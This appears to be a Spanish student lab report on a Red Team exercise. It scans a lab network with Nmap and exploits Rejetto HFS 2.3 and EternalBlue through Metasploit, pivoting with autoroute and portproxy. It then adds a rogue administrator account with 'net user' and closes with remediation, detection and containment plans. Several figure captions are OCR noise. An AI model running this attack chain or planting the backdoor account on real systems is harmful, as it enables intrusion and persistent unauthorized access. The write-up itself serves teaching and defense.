OS. Una vez reconocida la direccion IP de la estacion Parrot-OS (192.168.1.11) el paso a seguir
es identificar los dispositivos conectados a este segmento de red, para esto utilizo la herramienta:
Nmap en la terminal con el comando: nmap 192.168.1.0-255
Figura 7

Identificacion de hosts activos Nmap Herramienta de escaneo de red en Parrot-OS

25-11-25 01:11 -05

Host

Not shc 36 ( (1

PORT E SER\

80/tcp  open http

aC
( 1 MS

Fuente. Autoria Propia
Una vez realizado un el reconocimiento de los equipos conectados a la red, procedo hacer

el siguiente paso:
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Fase 2 Analisis de vulnerabilidades

Escaneo de puertos: En este proceso identifico que existe un dispositivo con la direccion
IP 192.168.1.9 que tiene el puerto 80 abierto y procedo a utilizar de nuevo la herramienta Nmap
que permite escanear puertos y servicios del host senalado. Utilizo el comando: nmap -sV -p-
192.168.1.9
Figura 8

Uso de Nmap para escanear puertos abiertos HOST-A

80/tcp open http HttpFileServer httpd 2.3

1 ) Micr R

1ts at https://nmap.c

Fuente. Autoria Propia

Hallazgo Critico: El resultado del analisis muestra que el sistema operativo es Windows
7 en el cual se ejecuta un servidor http en el puerto 80 que se encuentra abierto, el servicio
asociado es http y la version es HttpFileServer httpd 2.3. Este servicio pertenece al servidor de

archivos Rejetto en la version 2.3. En la base de datos nacional de vulnerabilidades informa que
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el servidor Rejetto presenta las vulnerabilidades CVE-2014-6287 que permite la ejecucion de
cddigo de forma remota en equipo que se encuentra funcionando.(NVD - CVE-2014-6287,s.1.)y
la vulnerabilidad de inyeccion de plantilla CVE-2024-23692, Esta vulnerabilidad posibilita que
un atacante remoto no autenticado lleve a cabo o6rdenes arbitrarias en el sistema comprometido
mediante el envio de una solicitud HTTP manipulada de forma especifica. (NVD - cve-2024-
23692, s. 1).

Nmap también permite mediante un script identificar vulnerabilidades conocidas
comprobando las versiones y configuraciones de los servicios del objetivo. Con el comando:
script vuln
Figura 9

Script para identificar vulnerabilidades: nmap --script vuln -p 80 192.168.1.9

State: VULNERABLE
:CVE-2011-3192 BID:

b se T is

Fuente. Autoria Propia
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Una vez ejecutado el scritp vuln con el resultado confirmamos que el puerto 80 y su
servicio http tiene dos vulnerabilidades, la primera vulnerabilidad es HTTP Verb Tampering
— Bypass de autenticacion. Esta es explotable dsea que permite mediante una manipulacion del
verbo omitir la autentificacion. (Script NSE para manipulacion del método HTTP —
Documentacion del motor de scripts de Nmap, s. f.). La segunda vulnerabilidad es una
denegacion de servicios que se puede hacer para detener el servidor Apache.(CVE-2011-3192 |
INCIBE-CERT | INCIBE, s. 1.).

A continuacion, hago un enlace mediante el explorador web al servidor http para
confirmar el servicio abierto en el puerto 80 y se confirma que es un servicio de Rejetto 2.3:
Figura 10

Confirmacion del servidor HTTP Rejetto 2.3 operativo

O A NotSecure

-3 Import bookmarks...

—g User

- No files in this folder

[~ -~ Folder

J Home

0 folders, O files, 0 bytes

— & Search
| go]

- H Actions

Get list

r 'JJ;! Server information

HttpFileServer 2.3
Server time: 25/11/2025 01:17:55 a.m.
Server uptime: 02:22:45

Fuente. Autoria Propia
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Para realizar la fase siguiente del pentesting explotacion, hago una investigacion en la
base de datos de exploits sobre el servicio httpfilserver 2.3
Figura 11

Investigacion en la base de datos de exploit sobre Rejetto 2.3

*
L
Rejetto HttpFileServer 2.3.x - Ejecucion remota de comandos (3)
Q
D ID de EDB: CVE: Autor: Tipo: Plataforma: Fecha:
=
Verificado por EDB: G

Explotar: & / {} Aplicacion vulnerable:

®

Fuente. Autoria Propia

Una vez encontrado el servicio abierto se analizada las vulnerabilidades que presenta, el
paso a seguir es explotar esta vulnerabilidad Para realizar este proceso se utiliza la herramienta
Metasploit y se ejecuta el comando: msfconsole
Figura 12

Inicio de la consola Metasploit

Fuente. Autoria Propia
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Fase 3 Explotacion.

Gracias al analisis de la vulnerabilidad en HFS 2.3 procedemos a explotar esta con
Metasploit, Msfconsole y Meterpreter.

Una vez abierto la herramienta metasploit hago una busqueda para listar los exploit para
el servidor http rejetto = HFS con el comando: search hfs
Figura 13

Busqueda de exploit para servidor Http Rejetto

escIl P tion

lalicious Git and Mercurial H

Rejetto HTTP Fil
Unat te ecution

4 exploit/windows/http/Tejetto_hfs_exec 2014-09-11 Yes  Rejetto HttpFileServer Remote

Fuente. Autoria Propia

Se selecciona el exploit la opcion 4 (exploit/windows/http/rejetto_hfs_exec), esta
permite que se ejecute de manera remota comandos en el Host-A. Esto se realiza mediante un
exploit para poder lanzar una sesion Meterpreter que funciona como una consola interactiva que

permite ejecutar codigo en el sistema victima. («What is Meterpreter ?», s. f.).



Figura 14

Muestra opciones para configurar el exploit para HFS servicio vulnerable

Fuente. Autoria Propia
Con los siguientes comandos inicio la configuracion del objetivo del exploit:
Comando: set RHOSTS 192.168.1.9 (Establece la direccion IP del objetivo (Host-A)
Figura 15

Comandos para configurar el exploit e iniciar sesion Meterpreter

:0) exploit( ) >> set Rhosts 192.168.1.9

:@) exploit( ) >> 1un

Fuente. Autoria Propia

Una vez realizado la configuracion se lanza el exploit con el comando: run

41



42

Exito total, se obtiene control remoto del HOST-A (192.168.1.9)

Figura 16

Acceso al HOST-A con una sesion iniciada en Meterpreter

1) (C:\Rejjeto_123456) > ipconfig

Fuente. Autoria Propia

Verificamos que la explotacion sea exitosa en el HOST-A, esto se puede apreciar con el
comando: sysinfo
Figura 17

Muestra informacion del sistema con sysinfo HOST-A

Computer
0S

Architectl

Fuente. Autoria Propia
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Fase 4 Post-Explotacion y Enumeracion

Una vez en el interior del HOST-A analizamos este equipo su ubicacion en la red, se realiza la
busqueda de adaptadores de red conectados al HOST-A con el comando: ipconfig, el resultado
muestra que tiene una segunda de tarjeta de red con la direccion IP 10.0.2.5.(red oculta).

Esto indica que esta maquina puede servir de puente para atacar otros equipos que no se pueden
ver directamente desde la terminal del atacante.

Figura 18

Segundo adaptador con otro segmento de red en HOST-A

ritorio Intel(R) PRO/
Ib

Fuente. Autoria Propia

a) Pivoting (Movimiento Lateral)

Ahora con el comando bg se procede a salir de la consola de Meterpreter

Para configurar un enrutamiento de puertos que nos permite obtener la informacion del
HOST-B en nuestro sistema Parrot y asi configurar el pivoting se debe crear una ruta desde
msfconsole, esto se realiza con los siguientes comandos:

use post/multi/manage/autoroute (Carga el modulo autoroute para enrutar el trafico de
la red y crear el puente)

set SESSION 1 (Se escoge la Sesion Activa 1)

run (ejecuta el modulo)
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Figura 19

Configuracion del enrutamiento al HOST-B

Fuente. Autoria Propia

Configurar Metasploit para que cualquier trafico dirigido a la red 10.0.2.0/24 pase a
través de la sesion infectada en Windows.
Figura 20

Tabla de enrutamiento para que metasploit pueda usar el HOST-A como puente.

g table.
s routing table.

orint

Fuente. Autoria Propia

Metasploit ahora puede enviar paquetes hacia 10.0.2.0 usando el Windows

comprometido. Para seguir configurando y realizar el PIVOTING se debe escanear la red del
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segmento 10.0.2.0 y establecer el HOST-B con esto esta Pivoting este activo y esto se realiza
configurando el comando: use post/windows/gather/arp_scanner

Figura 21

Parametros para configurar ARP_SCANNER

Fuente. Autoria Propia

Utilizamos la maquina comprometida HOST-A para realizar un escaneo de la red interna
la que se comunica con el segmento de red 10.0.2.0, se configura con los comandos: set
RHOSTS 10.0.2.0/24 y set SESSION 1, run
Figura 22

Escaneo del segmento de red 10.0.2.0

Fuente. Autoria Propia
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Descubrimiento: Encontramos una nueva maquina en 10.0.2.4 y procedemos a realizar:
Port Proxy (Redireccion de Puertos) el objetivo es configurar el direccionamiento del puerto
5000 del HOST-A al puerto SMB 445 de la maquina HOST-B (10.0.2.4). con esto realizamos un
redireccionamiento de puertos de la maquina comprometida por el atacante a la maquina victima.
El flujo: El ataque viaja asi: Atacante -> 192.168.1.9:5000 -> (Reenvio) -> 10.0.2.4:445
Comando a utilizar: use post/windows/manage/portproxy
Figura 23

Muestra opciones para configurar PORT PROXY

View the full module info with the , or command.

Fuente. Autoria Propia

Comandos a utilizar:

o set CONNECT ADDRESS 10.0.2.4 (conexidn a la direccion HOST-B)

. set CONNECT PORT 445 (Puerto a conectar HOST-B)

J set LOCAL_ADDRESS 0.0.0.0 (direccion local de enlace envio de informacion)

. set LOCAL PORT 5000 (puerto que recibe la informacion para ser enviada al
puerto 445)

J set SESSION 1 (sesion utilizada 1)

o run (ejecucion)
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Figura 24
Configuracion de redireccion de puertos con PORT PROXY

INECT_ADL

INECT_PORT 445

>> set LOCAL_ADL

et LOCAL_PORT

ON 1

PORT REMOTE IP REMOTE PORT

Fuente. Autoria Propia

Una vez se tiene la redireccion de puertos establecida entre la maquina infiltrada y la
maquina objetivo se procede a explotar la vulnerabilidad critica en el protocolo SMB(compartir
archivos) de Windows. Esta vulnerabilidad permite ejecutar codigo con los privilegios mas altos
(SYSTEM) sin necesitar contrasefia. Esta vulnerabilidad es famosa por ser usada en el ataque de
ransomware WannaCry.

Para esto se utiliza otra terminal e ingresamos a la consola Msfconsole para utilizar

el exploit ETERNALBLUE
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Figura 25

Ingreso en una nueva consola del framework Metasploit

http CS.me oit.com/

Fuente. Autoria Propia

Con el comando search eternalblue permite identificar todos los médulos disponibles
asociados a la vulnerabilidad MS17-010, ampliamente conocida como EternalBlue, que afecta a
sistemas Windows mediante fallas en SMBv1.
Figura 26

Busqueda del exploit relacionado con la vulnerabilidad MS17-010

rch eternalblue

exploit/windows/smb/ms17_@10_eternalblue
\ get

Enterprise Evaluation

Nota. Metasploit listo mdédulos de explotacion, amenazas relacionadas (como DoublePulsar) y

scripts de verificacion.
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El modulo mas relevante identificado fue: exploit/windows/smb/ms17_010_eternalblue
Este exploit permite la ejecucion remota de codigo mediante corrupcion del kernel a
través del protocolo SMB.
Figura 27

Seleccion del exploit use 0 en Eternalblue

VERIFY_TARGET

Nota. Se revisaron los parametros con show options y se cargéd el moédulo identificado en la

posicion 0 de la tabla: exploit/windows/smb/ms17_010_eternalblue.
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Configuracion de parametros del exploit
RHOSTS — 192.168.1.9 (IP del equipo victima)
RPORT — 5000 (se decidi6 atacar SMB expuesto en ese puerto)
LHOST — 192.168.1.11 (IP del atacante en Parrot)
LPORT — 5555 (puerto escucha para el payload)
Figura 28

Configuracion de parametros del exploit

>> set RH

>> set RPORT

> set LPORT 5555

Nota. Con estos parametros definidos, se prepard la ejecucion del exploit
Ejecucion del ataque
Figura 29

Inicia el proceso de explotacion EternalBlue

Fuente. Autoria Propia
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El exploit procede hacer lo siguiente:

. Verificacion automatica de vulnerabilidad con el modulo auxiliar smb_ms17 010.
o Confirmacion de que el host es vulnerable (Windows 7 SP1 x64).

. Operaciones internas del exploit, como:

J grooming de memoria en el Non-Paged Pool,

. envio de fragmentos SMBv2,

o corrupcién exitosa del kernel.

. Finalmente, Metasploit gener6 la sesion:

o Meterpreter session 1 abierta

o Lo que significa que la explotacion fue exitosa

Obtencion de informacion de red de la maquina comprometida

Con el comando ipconfig en el Meterpreter podemos encontrar la interfaz ip del HOST-B
que es (10.0.2.4). lo cual significa que ya estamos en el interior de la maquina final.
Figura 30

Muestra Interfaz de red del HOST-B desde Meterpreter

1) (C: \Windows\system32) > ipconfig

Interface 1

Intexrface 11

Name : Adaptador de escritorio Intel(R) PRO/10@8 MT
Hardware MAC : ©8:00:27:92:80:c0
MTU 1 1500

IPv4 Address : 10.90.2.4

IPv4 Netmask : 255.255.255.0

IPv6 Address : feB8@::4842:9ced:4e38:7898
IPv6 Netmask : ffff:ffff:ffff:ffff::

Fuente. Autoria Propia
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Creacion del Usuario efimero desde Meterpreter (cmd.exe)
Comando para abrir la consola interactiva de Windows: execute -f cmd.exe -i -t

Figura 31

Uso el comando de la consola de Windows (cmd.exe) desde Meterpreter

)s todos los derechos.

C: \Windc

Nota. Apertura desde Meterpreter de la consola cmd.exe

Una vez abierto un Shell dentro de Meterpreter, procedemos a crear el usuario con el
comando:

net user DiegoLara 123456 /add

Esto crea un usuario DiegoLara con contraseia 123456
Figura 32

Comando para crear usuario efimero desde consola cmd.exe desde Meterpreter

Nota. Se ejecuta de nuevo para comprobar el usuario creado (cuenta existente)

Una vez creado el usuario se debe dar privilegios de administrador, para esto utilizamos

el comando: net localgroup Administradores DiegoLara /add
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Figura 33

Comando para darle privilegios de administrador a cuenta Efimera

al grupo.

Nota. indica que el usuario ya posee privilegios administrativos.
Figura 34

Captura de pantalla de cuenta creada privilegios administradores en HOST-B

-

e Administrar cuentas _ II:II5
91: :Jv |‘_ﬂ'_, - Cuentas de usuario = Administrar cuentas - lml I Buscar en &l Panel de contral @

Elegir la cuenta gue desee cambiar

ey |
- Diegolara
o usuario i
" Administrador
- Administradar Protegida por contrasefia
=
e Invitado
La cuenta de invitade estd desactivada

Crear una nueva cuenta

£Que es una cuenta de usuario?

Acciones adicionales que se pueden realizar
“_. Configurar Control parental

Ir & la pagina principal de Cuentas de usuario

Fuente. Autoria Propia
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Fase 5. Informes

Se registra los datos recopilados del ataque que se logro llevar a cabo y se documenta los
resultados que se pueden aprecias a continuacion.

El procedimiento de explotacion permitio verificar y demostrar de manera practica la
vulnerabilidad en el HOST-A con REJETTO y en el HOST-B con MS17-010 (EternalBlue)
cdmo un atacante puede lograr una intrusidn completa en un sistema Windows 7 sin parches. A
través del uso de Metasploit, se identificd que el puerto 80 del servidor de archivos Rejetto 2.3 y
el servicio SMB del objetivo son vulnerables y fue posible obtener una sesion Meterpreter con
privilegios de sistema. Una vez dentro, se valido la informacién de red, se ejecutaron comandos
privilegiados y se cred un usuario local con privilegios administrativos, lo que evidencia el nivel
de compromiso obtenido sobre la maquina victima.

Este ejercicio demuestra la importancia de mantener los sistemas actualizados, ya que
una vulnerabilidad critica sin corregir permite la ejecucion remota de codigo y la toma total de
control del sistema.

Informe con estudio del caso de Red Team

El laboratorio hizo posible entender como una vulnerabilidad que parece ser simple
puede convertirse en un punto de acceso crucial para comprometer la infraestructura completa.
En este caso, el servicio Rejetto HFS 2.3 que se encontraba instalado en HOST-A funcion6 como
el "eslabon débil" que permitié que un ataque mas severo tuviera lugar.

Cuando el Red Team logré ejecutar comandos de forma remota a través de Metasploit,
HOST-A no fue més un objetivo inicial, sino que se volvid un lugar clave para acceder a la red
interna. Su segunda interfaz de red mostr6é un segmento escondido (10.0.2.0/24), lo cual hizo

posible la implementacion de técnicas de pivoting y la reorientacion del trafico hacia HOST-B.
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El anélisis demuestra que no basta con proteger un solo punto, ya que la seguridad
depende del estado total de la infraestructura. A pesar de que HOST-B no estaba disponible de
manera directa, la presencia de servicios vulnerables, como SMBvI afectado por MS17-010, y la
ausencia de segmentacion hicieron mas sencillo el movimiento lateral.

La prueba de concepto (PoC) —Ila creacion de un usuario con privilegios administrativos
en HOST-B— corrobora que el error inicial se ampli6 hasta poner en riesgo por completo un
servidor interno. Este caso evidencia que una minima averia en la superficie expuesta puede
transformarse en un serio hueco en la red de la empresa si no hay controles de aislamiento,
monitoreo ni politicas de actualizacion.

Informe sobre las herramientas empleadas para detectar errores en el escenario sugerido.

Se emplearon instrumentos de renombre en el ciclo profesional del pentesting para tratar
el escenario planteado. Cada una desempefi6 un papel crucial en las etapas del proceso:

Nmap: Inspeccion y evaluacion de vulnerabilidades, posibilito la deteccion veloz de los
dispositivos que hay en la red y de los servicios expuestos. El servicio HTTP File Server, que se
encontraba en el puerto 80 del HOST-A, fue detectado mediante la exploracién completa de
puertos y la deteccion de versiones. Después, el script --script vuln mostrd de manera precisa las
vulnerabilidades reconocidas vinculadas a esa version, corroborando CVE-2014-6287 y CVE-
2024-23692.

Navegador de internet: Comprobacion manual del servicio. El acceso al servicio por
medio de un navegador posibilitd constatar visualmente que el HFS 2.3 era el que estaba en uso,
lo cual complemento la informacién recabada con Nmap.

Metasploit Framework — Utilizacion, pivotacion y desplazamiento lateral En la fase
ofensiva, fue el instrumento principal. Sus componentes:

rejetto_hfs_exec, post/multi/manage/autoroute, post/windows/gather/arp scanner
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post/windows/manage/portproxy, ms17 010 _eternalblue

Facilitaron la conexion de todas las etapas del ataque: poner en riesgo HOST-A, mapear
la red interna y escalar hacia HOST-B.

El uso en conjunto de estos instrumentos facilito la representacion precisa del
procedimiento empleado por un verdadero atacante, evidenciando como un incidente puede
progresar desde la deteccion del servicio hasta una toma total del sistema.

Exploracion del ataque realizado a cada una de las maquinas reconocidas

Ataque a HOST-A (192.168.1.9)

HOST-A fue el primer acceso para el Red Team. La evaluacién determin6 que este
equipo estaba ejecutando el servicio Rejetto HFS 2.3, susceptible, en el puerto 80. El exploit
rejetto_hfs_exec, utilizando Metasploit, posibilité tomar control de la maquina a través de una
sesion Meterpreter.

Se comprob6 que HOST-A contaba con una segunda interfaz de red conectada a un
segmento interno después de ingresar. Esto transformé a HOST-A en un puente perfecto para
canalizar trafico hacia otros dispositivos.

Ataque a HOST-B (10.0.2.4)

HOST-B era un servidor interno que no se podia observar desde la maquina atacante
inicial. Para lograrlo, se establecio un pivoting mediante los modulos portproxy y autoroute. Se
utilizo el exploit ms17 010 eternalblue tras detectar que se estaba usando SMBv 1.

La explotacion tuvo éxito, ya que el ataque termind con una sesion Meterpreter en
HOST-B. Al final, se establecio un usuario administrativo para evidenciar el total compromiso

del sistema.
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Esta evaluacion demuestra un asalto encadenado en dos fases: inicialmente, la
explotacion de un servicio expuesto vulnerable; y luego, el movimiento lateral hacia servidores
internos que suelen estar protegidos.

Informe sobre la explotacion de vulnerabilidades en el contexto sugerido

La actividad de explotacion se llevo a cabo en dos etapas claramente distintas:

Explotacion en HOST-A usando Rejetto HFS 2.3: la vulnerabilidad CVE-2014-6287
posibilitd que se ejecutaran comandos de manera remota, lo cual hizo mas fécil iniciar una sesion
Meterpreter. La verdadera relevancia de esta explotacion, mas alla del acceso inicial, fue que se
descubrid que el sistema estaba conectado con otro segmento de red; esto hizo necesario
replantear la estrategia del ataque.

Explotaciéon en HOST-B — EternalBlue (MS17-010): después de obtener la vision de la
red interna, se determin6 que HOST-B usaba SMBvV1, un protocolo que tenia la vulnerabilidad
critica MS17-010. Se cre6 una sesion de sistema mediante el envio del exploit EternalBlue a
través del tinel establecido desde HOST-A, utilizando Metasploit.

La realizacion posterior de un usuario con privilegios administrativos ratificé la toma
total del servidor, confirmando de este modo el testeo conceptual del escenario Red Team.

En general, estas explotaciones muestran la forma en que un atacante puede encadenar
varias vulnerabilidades para poner en riesgo infraestructuras enteras, particularmente si hay
servicios vulnerables, equipos obsoletos o segmentacion de red deficiente.

Respuesta a preguntas Orientadoras

Herramientas software utilizadas en el escenario Red Team

Para abordar el anexo 4 — escenario 3, se aplicaron herramientas especificas, clasificadas
segun las fases del pentesting:

Fase de reconocimiento:
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Nmap: permiti6 identificar hosts activos en la red y puertos abiertos.

Comando: nmap 192.168.1.0-255

Resultado: se detecto el host 192.168.1.9 con el puerto 80 abierto.

Nmap con script vuln: valido vulnerabilidades conocidas en el servicio HTTP.

Comando: nmap --script vuln -p 80 192.168.1.9

Resultado: se confirmaron vulnerabilidades CVE-2014-6287 y CVE-2024-23692.

Fase de explotacion:

Metasploit Framework: se utilizé para explotar el servicio vulnerable Rejetto HFS 2.3 en
HOST-A.

Fase de post-explotacion y pivoting:

Metasploit autoroute: configuro el tinel hacia la red interna 10.0.2.0/24

use post/windows/gather/arp _scanner: escaneo de puertos en HOST-B.

Enrutamiento de la red a la direccion IP y puerto del HOST-B con
post/windows/manage/portproxy.

Acceso por puerto SMB y su explotacion de la vulnerabilidad con Eternalblue

Creacion de Usuario y elevacion de privilegios como administrador.

Datos e informacion del escenario que ayudaron a identificar el fallo:

El servicio identificado: Rejetto HTTP File Server 2.3, vulnerable a ejecucion remota de
codigo, ubicado en la direccion IP de HOST-A (192.168.1.9) con el puerto 80 abierto.

La confirmacion de vulnerabilidades mediante Nmap (CVE-2014-6287 y CVE-2024-
23692).

La configuracion de red de HOST-A con dos adaptadores, uno en la red externa y otro en
la interna (10.0.2.8), lo que permiti6 el movimiento lateral hacia HOST-B.

Herramienta utilizada para identificar fallos en Méaquina 1 (Windows)
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La herramienta principal fue Nmap, complementada con el script --script vuln.

Puerto identificado: 80/TCP, correspondiente al servicio HTTP File Server (HFS 2.3).

Este puerto fue la puerta de entrada para explotar la vulnerabilidad y abrir la sesion
Meterpreter.

Impacto del ataque en las maquinas Windows

El ataque afecto a las maquinas de la siguiente manera:

HOST-A: fue comprometido mediante la vulnerabilidad en HFS 2.3. Esto permitio al
atacante ejecutar codigo remoto y obtener control total del sistema. HOST-A se convirti6 en el
“puente” hacia la red interna.

HOST-B: aunque inicialmente inaccesible, fue alcanzado gracias al pivoting configurado
en HOST-A. El escaneo interno reveld servicios vulnerables, lo que permitié demostrar
movimiento lateral y control sobre el servidor.

El uso del sistema operativo WINDOWS 7 y el Puerto SMB y su vulnerabilidad
ampliamente divulgada y explotada por Eternalblue. para el sistema operativo.

Figura 35

Linea de Tiempo forense

Linea de Tiempo de Procesos Forenses

Incidente: Pivoting & Movimiento Lateral (HFS + EternalBlue

Creacién Usuario

Escaneo Nmap Routing & Discovery

Host: 10.0.2.4
Cmd- net user DiegoLara /add
Intento: Grupo Administradores

IP: 19216819 AutoRoute: 10.0.2.0/24
Puertos: 80 (HFS), 445 (SMB) ARP Scan: Detecta 10.0.2.4
Vuln: CVE-2011-3102 PortProxy 5000 -> 10.0.2.4:445

Exploit HFS

Fuente. Autoria Propia
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Plan de Remediacion Integral

Este plan se enfoca en tres pilares: Contencion y Erradicacion (acciones inmediatas),
Remediacion Técnica (Hardening de los hosts y la red) y Remediacion de Procesos
(prevencion a largo plazo).

Acciones de Contencion y Erradicacion (Inmediatas)

Estas acciones deben realizarse inmediatamente en los hosts afectados (192.168.1.9 y
10.0.2.4) para cerrar el acceso y eliminar la persistencia.

Erradicar la Persistencia:

Eliminar la cuenta no autorizada: Eliminar inmediatamente el usuario administrativo
DiegoLara del Host-B (10.0.2.4).

Verificar otros usuarios: Auditar todos los demas usuarios creados o modificados en las
ultimas 48 horas en ambos hosts.

Deshabilitar el Vector de Acceso Inicial (Host-A):

Desinstalar la aplicacion vulnerable: Desinstalar o detener el servicio HttpFileServer
(HFS) o la aplicacién vulnerable que permitio la Ejecucion Remota de Codigo (RCE) en el Host-
A (192.168.1.9).

Contencion en Host-A:

Eliminar tineles: Verificar y eliminar cualquier regla activa de portproxy o reenvio de
puertos configurada por el atacante.

Aislamiento: Aislar ambos hosts de la red de produccion hasta que se apliquen todos los
parches y medidas de seguridad.

Remediacion Técnica y Hardening (Host y Red)

Estas acciones abordan las vulnerabilidades especificas explotadas (HFS, EternalBlue) y

las fallas de segmentacion.
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Tabla 1

Medidas de remediacion técnica y hardening para Host-B

Hallazgo forense Medida de remediacion técnica

Aplicar parche MS17-010/CVE-
Explotacion MS17-010 (EternalBlue)
2017-0144

Uso de SMBv1 Deshabilitar protocolo SMBv1
Implementar politica de

Elevacion de privilegios
contrasefias seguras.

Nota. Esta tabla resume las acciones inmediatas para mitigar vulnerabilidades criticas Host-B.
Tabla 2

Medidas de remediacion técnica y hardening para Host-A

Medida de remediacion
Hallazgo forense
técnica

Desinstalar servicio HFS y
Aplicacion HFS vulnerable aplicar control de

aplicaciones (AppLocker).

Implementar solucion EDR
Uso de Metasploit para detectar actividad

sospechosa.

Migrar a Windows 10/11
Sistema operativo obsoleto para reducir vulnerabilidades

heredadas.

Nota. Acciones inmediatas para eliminar vectores de ataque en Host-A.
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Tabla 3

Medidas de remediacion en la red (Pivoting)

Hallazgo forense Medida de remediacion técnica

Implementar segmentacion de red con VLANs y
Movimiento Lateral

ACLs.

Bloquear tréafico saliente no esencial y puertos de
Tuneles persistentes
escucha.

Configurar firewall para restringir trafico SMB solo
Acceso SMB (445)
a equipos autorizados.

Nota. Estas medidas reducen el riesgo de pivoting y limitan la propagacion del ataque.

Remediacion de Procesos y Politicas (Prevencion)

Estas acciones son a largo plazo y fortalecen la postura de seguridad organizacional.

Gestion de Vulnerabilidades: implementar un proceso de escaneo de vulnerabilidades
periddico (al menos mensual) para identificar software no parcheado o fuera de soporte como
HEFS o sistemas operativos antiguos.

Establecer un plazo de 7 dias para la aplicacion de parches criticos (ej. MS17-010).

Monitoreo y Alertas: crear alertas de seguridad en el SIEM/EDR para:

Creacion de nuevos usuarios administrativos no autorizados (como el usuario
DiegoLara).

Uso de comandos sensibles como netsh o net user.

Procesos inusuales accediendo a puertos altos o comunicandose con IPs internas en

segmentos aislados.
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Politica de Minimo Privilegio: revisar los permisos de los usuarios en Host-A. Asegurar
que los usuarios solo puedan instalar y ejecutar aplicaciones con aprobacion, limitando la
superficie de ataque.

Concientizacion y Formacion: capacitar al personal de TI y a los usuarios finales sobre
los riesgos de instalar software no aprobado y el ciclo de vida de las aplicaciones permitidas.
Analisis de Mitigacion y Riesgos Residuales (Blue Team)

El ejercicio del Red Team demostrd una serie de compromisos de elevado impacto, que
comenzd con un error simple de configuracion y termind con el control del servidor secundario
(Host-B). Para convertir estos descubrimientos ofensivos en una estrategia de seguridad eficaz,
es esencial que el equipo Blue Team aplique las mitigaciones a continuacion y examine los
riesgos que permanecen.

Tabla 4

Fases de explotacion simulada y acciones de defensa

Fase del ataque Vulnerabilidad explotada Accion defensiva recomendada

HFS 2.3 (CVE-2014- Control de aplicaciones y desinstalacion
Acceso Inicial
6287) del servicio vulnerable.
Manejo de parches criticos: Aplicacion

Movimiento Lateral =~ EternalBlue (MS17-010)  inmediata de parches criticos y

desactivacion de SMBv1.

Escalada de Endurecimiento de cuentas y politicas de
Protocolo SMB inseguro

Privilegios minimo privilegio.

Cadena de Ataque Segmentacion de la red se pueden aplicar
Red sin segmentacion

Exitosa microsegmentacion o VLANS.

Nota. La tabla vincula cada fase ofensiva con su mitigacion defensiva.
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Después de que se implementan las mitigaciones directas (desinstalacion de HFS y
parcheo), el equipo Blue Team debe identificar los riesgos que todavia impactan la postura de
seguridad del ente:

Peligro de dependencia heredada: Aunque se ha parchado EternalBlue, el Host-B (si es un
sistema operativo viejo, como Windows 7 o Server 2008) contintia teniendo una gran superficie
de ataque por su condicion de fin de vida. El riesgo residual es que la asignacion de recursos a la
prevencion proactiva se vea afectada por el esfuerzo continuo para parchear vulnerabilidades
antiguas.

Riesgo Arquitectonico: El hecho de que el pivoting se haya conseguido con facilidad
sugiere que la red no tiene segmentacion rigurosa. Este riesgo residual garantiza que, si un
atacante descubre un nuevo vector de acceso inicial, tendré la capacidad de desplazarse
lateralmente de forma rapida hasta llegar a los activos mas delicados de la entidad.

Riesgo operativo: Si no se ponen en practica medidas rigurosas de Minimo Privilegio, el usuario
mantendra la posibilidad de activar software vulnerable (como HFS) o deshabilitar el firewall
local, lo que reiniciaria la cadena de ataque a través de un vector parecido.

Contencion ante Incidentes de Ciberseguridad
Exploracion de operaciones requeridas para sortear un ataque en tiempo real.

Las acciones que se deben tener en cuenta para contener un ataque en tiempo real
iniciarian por entender técnicamente qué esta ocurriendo, identificando el origen, la técnica y el
alcance del incidente dentro del sistema comprometido. Este analisis inicial es fundamental, ya
que la guia indica que la primera accion debe ser evaluar la naturaleza y la gravedad del
incidente para tomar decisiones correctas desde el primer momento.

Posteriormente, aplicaria una contencion inmediata, aislando el equipo afectado para

evitar la propagacion del ataque, tal como lo establece la guia de gestion de incidentes, que
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menciona que es indispensable “aislar el sistema o red afectada para evitar mayores dafios”.
Paralelamente, detendria actividades maliciosas, revisaria los procesos activos y bloquearia
conexiones sospechosas.

Al mismo tiempo, comenzaria a recopilar la evidencia técnica necesaria (logs,
conexiones, eventos, archivos sospechosos), dado que la guia resalta la importancia de preservar
la evidencia para la investigacion y andlisis posterior.

Finalmente, notificaria al CSIRT o al equipo encargado, garantizando que la
comunicacion siga el procedimiento institucional y los lineamientos TLP definidos.

Las primeras acciones se basan en cuatro pilares: evaluar, contener, preservar evidencia y
comunicar, que son exactamente los pasos recomendados en la guia institucional para la
respuesta ante incidentes de ciberseguridad.

Tabla 5

Flujo de contencion y respuesta

Etapa Accion inmediata (Contencion)

Desconectar Host-A de la red para romper el tunel de
Aislamiento Estratégico
pivoting.

Capturar imagen forense de memoria antes de modificar el
Preservacion Volatil
sistema

Eliminar cuenta administrativa efimera (DiegoLara) en
Erradicacion Inicial
HOST-B

Nota. Acciones criticas para contener el incidente y preservar evidencia.
El proceso de respuesta debe activarse mediante la Comunicacion a la Gerencia y al
CSIRT, respetando los protocolos TLP(Traffic Light Protocol (TLP) | INCIBE-CERT | INCIBE,

s. )
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Figura 36

Diagrama de flujo respuesta, contencion y erradicacion del ataque

1. DETECCION
(Alerta SIEM/EDR)

2. CONTENION INMEDIATA

* Aislamiento HOST-A (Romper Pivoiting/Sesién)
* Preservacion de Evidencia (RAM)

3. ERRADICACION

I
[|
[|
« Eliminar Usuario Persistente (DiegoLara) :
:
[
1

* Desinstalar HFS 2 3 (HOST-A)
* Parchear/Desactivar SMBv1 (HOST-B)

4. RECUPERACION

« Restaurar Sistemas
« Aplicar Hardeninzacion (ACLs/AppLocker)

Fuente. Autoria Propia

Medida de contencion Aislamiento para romper pivoting



Figura 37

Aplicacion de la regla de Bloqueo del puerto Entrada y salida Puerto 80

==l

& Asistente para nueva regla de entrada

Protocolo y puertos

Especfiigue los puertos y protocolos a los que se aplica esta regls

Pasos:
@ Tpoderedla £5e aplica esta regla a TCP o UDP?

@ Protocolo y puertos @ TCP
@ Accién ~) UDP
@ Peril
@ Nombre .
£Se aplica esta regla a todos los puertos locales o a unos puertos locales especificos?

(") Todos los puertos locales

@ Puertos locales especificos: 80
Eiemplo: 80. 443, 5000-5010

<tiss | Sguere> ][ Cancelar |

Nota. Bloqueo de puerto para evitar la conexion de la vulnerabilidad HFS 2.3

Figura 38

Restriccion de Puerto 80 desde el firewall Host-A.

ﬂ Asistente para nueva regla de entrada
Accidn
Especifique la accidn que debe llevarse a cabo cuando una conexién coincide con las condiciones especficadas en la regla.

Pasos: 5 " . . -
